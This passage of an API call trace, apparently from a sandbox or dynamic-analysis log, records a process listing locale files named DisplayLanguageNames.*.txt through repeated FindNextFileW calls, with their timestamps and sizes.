ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x67c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.he_IL.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hr.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hr_HR.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hu.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hu_HU.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it_CH.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it_IT.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it_IT_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x656a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ja.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x656a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ja_JP.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6594, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x626a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ko.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x626a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ko_KR.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bea, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lt.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bea, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lt_LT.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lv.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lv_LV.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nb.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nb_NO.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_BE.txt", cAlternateFileName="")) returned 1 [0084.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_BE_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_NL.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_NL_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nn_NO.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pl.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pl_PL.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pt_BR.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pt_PT.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pt_PT_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ro.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ro_RO.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7498, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ru.txt", cAlternateFileName="")) returned 1 [0084.167] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7498, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ru_RU.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7416, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ru_UA.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d76, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sk.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2a9280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d76, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sk_SK.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sl.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sl_SI.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x715c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sv.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7144, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sv_FI.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x715c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sv_SE.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7288, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.tr.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7288, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.tr_TR.txt", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, 